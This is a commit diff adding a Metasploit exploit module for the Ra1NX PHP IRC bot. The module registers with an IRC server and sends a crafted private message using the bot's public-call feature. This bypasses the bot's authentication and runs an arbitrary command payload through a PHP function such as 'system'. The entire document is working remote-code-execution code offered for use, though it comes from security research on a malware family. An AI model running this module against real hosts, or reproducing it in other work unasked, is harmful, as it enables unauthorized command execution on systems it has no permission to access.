Added Ra1NX pubcall authentication bypass exploit module

Author: bwall

modules/exploits/multi/misc/Ra1NX_pubcall_exec.rb

@@ -0,0 +1,140 @@
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => '"Ra1NX" PHP Bot pubcall Authentication Bypass Remote Code Execution',
+			'Description'    => %q{
+					This module allows remote command execution on the PHP IRC bot Ra1NX by
+					using the public call feature in private message to covertly bypass the
+					authentication system.
+				},
+			'Author'         =>
+				[
+					'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module
+				],
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
+					['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
+					['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
+				],
+			'Platform'       => [ 'unix', 'win'],
+			'Arch'           => ARCH_CMD,
+			'Payload'        =>
+				{
+					'Space'    => 344,
+					'BadChars' => '',
+					'DisableNops' => true,
+					'Compat'      =>
+						{
+							'PayloadType' => 'cmd',
+						}
+				},
+			'Targets'  =>
+				[
+					[ 'Ra1NX', { } ]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'March 24 2013',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				Opt::RPORT(6667),
+				OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
+				OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
+				OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),
+				OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])
+			], self.class)
+	end
+
+	def check
+		connect
+
+		response = register(sock)
+		if response =~ /463/ or response =~ /464/
+			print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
+			return Exploit::CheckCode::Unknown
+		end
+		confirm_string = rand_text_alpha(8)
+		response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
+		print response
+		quit(sock)
+		disconnect
+
+		if response =~ /#{confirm_string}/
+			return Exploit::CheckCode::Vulnerable
+		else
+			return Exploit::CheckCode::Safe
+		end
+	end
+
+	def send_msg(sock, data)
+		sock.put(data)
+		data = ""
+		begin
+			read_data = sock.get_once(-1, 1)
+			while not read_data.nil?
+				data << read_data
+				read_data = sock.get_once(-1, 1)
+			end
+		rescue EOFError
+		end
+		data
+	end
+
+	def register(sock)
+		msg = ""
+
+		if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
+			msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
+		end
+
+		if datastore['NICK'].length > 9
+			nick = rand_text_alpha(9)
+			print_error("The nick is longer than 9 characters, using #{nick}")
+		else
+			nick = datastore['NICK']
+		end
+
+		msg << "NICK #{nick}\r\n"
+		msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
+
+		response = send_msg(sock,msg)
+		return response
+	end
+
+	def ra1nx_command(sock)
+		encoded = payload.encoded
+		command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"
+		response = send_msg(sock, command_msg)
+		return response
+	end
+
+	def quit(sock)
+		quit_msg = "QUIT :bye bye\r\n"
+		sock.put(quit_msg)
+	end
+
+	def exploit
+		connect
+
+		print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
+		response = register(sock)
+		if response =~ /463/ or response =~ /464/
+			print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
+			return
+		end
+
+		print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")
+		ra1nx_command(sock)
+
+		quit(sock)
+		disconnect
+	end
+end